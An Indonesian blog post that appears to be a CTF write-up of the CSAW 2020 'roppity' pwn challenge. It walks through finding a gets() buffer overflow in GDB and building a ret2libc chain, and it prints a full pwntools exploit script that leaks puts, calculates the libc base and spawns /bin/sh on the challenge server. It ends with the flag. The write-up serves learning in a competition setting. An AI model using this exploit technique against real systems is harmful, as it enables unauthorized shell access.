CSAWCTF — PWN — ROPPITY

InersIn
3 min readSep 13, 2020

Baik kali ini saya bermain CSAWCTF 2020, pada CTF ini saya hanya bisa menyelesaikan 3 challenge :’(, karena saya juga bukan seorang profesional.

Challenge yang saya berhasil solved adalah roppity pwn, Perfect Secrecy crypto, dan widthless web

Baik pada challenge kali ini, saya cukup membutuhkan waktu lama, karena saya baru pertama kali melakukan exploitation menggunakan method Ret2Libc Attack, baik langsung saja kita jalankan dan buka program kedalam GDB.

Disini program hanya menampilkam “Hello” dan meminta input, kemudian program berakhir, pada GDB seperti ini tampilannya.

Program menggunakan instruction “lea” yang mengindikasikan agar program melakukan reference pada address “0x4006a4” dimana itu adalah string “Hello”, kemudian program memanggil “puts” dan menyiapkan space dan penempatan untuk input kita, kemudian program memanggi function “gets” yang dimana function ini memungkinkan untuk melakukan Buffer Overflow, disini karena program melakukan reference mundur sebanyak 32 bytes sebelum memanggil function “gets” jadi saya menyimpulkan minimal untuk meng-overwrite dari return address ini diatas 32 char, yang dimana saya menemukan untuk meng-overwirite return address sebenarnya membutuhkan 40 char, kemudian saya pasang breakpoints pada main+47 dan main+53 pada ret, mari kita jalankan.

Disini saya memasukan char “a” * 40, mari lihat heap pada program

Seperti ini lah inputan kita didalam heap pada program, disini jika kita ingin melakukan overwrite return address kita harus menambahkan “a”*40+RET ADD, disini saya mencoba untuk membuat program berjalan sekali lagi jika sudah menginputkan string, jadi seperti ini payloadnya.

"A" * 40 + MAIN_ADDR

Baik, mari kita coba.

Disini saya menerima error karena program tidak berhasil menemukan address pada register $RIP karena disini program sebagai 64bit tapi saya masukan main address dengan format 32bit, mari kita coba sekali lagi.

Baik, disini kita berhasil membuat program menampilkan “Hello” sebanyak 2x yang berarti payload kita berhasil membuat program kembali keawal program sebelum program itu berakhir.

Mari kita mulai dengan Ret2Libc attack, disini karena kita sudah diberikan file libc yang digunakan program pada server, jadi memudahkan kita untuk men-develope exploit disini saya menggunakan python pwntools, mari kita mulai membuat exploitnya, berikut format nya:

send("A" * 40 + MAIN_ADDR)
send("A" * 40 + PLT_PUTS + GOT_PUTS + MAIN_ADDR)
send("A" * 40 + LIBC_SYSTEM + LIBC["/bin/sh"])

Dengan format exploit tersebut diharapkan agar kita dapat memiliki shell terhadap server.

Berikut script exploitnya.

#!/usr/bin/env pythonfrom pwn import *
import struct
b = ELF("./rop")
context(os="linux", arch="amd64")
libc = ELF("./libc-2.27.so")
r = remote("pwn.chal.csaw.io",5016)
main = p64(b.symbols['main'])
print(r.recv())
r.sendline(fit({40:b.sym.main}))
print(r.recv())
rop = ROP(b)
rop.call(b.sym.puts, [b.got.puts])
rop.call(b.sym.main)
r.sendline(fit({40:rop.chain()}))putsttr=r.recvline(False)
puts = u64(putsttr.ljust(8, "\x00"))
log.info("Puts is at %#x", puts)
__libc_start_main = puts-libc.sym['puts']
libc.address=__libc_start_main
log.info("__libc_start_main address: %#x",libc.address)
rop = ROP(b)
system=libc.sym.system
binsh = next(libc.search("/bin/sh"))
rop.call(system, [binsh])
r.sendline(fit({40:rop.chain()}))
r.interactive()
r.close()

Jika kita jalankan, kita akan berhasil mendapatkan shell, dan tinggal meng-cat “flag,txt”.

python2 exploit.py

dan kita pun mendapatkan flagnya.

flag{r0p_4ft3r_r0p_4ft3R_r0p}

jika bingung silahkan bertanya, saya akan berusaha menjawab dengan sesimple mungkin

--

--

InersIn

PARSECT // IT Security Enthusiast // STOICISM // KEEP DO SOMETHING LEGAL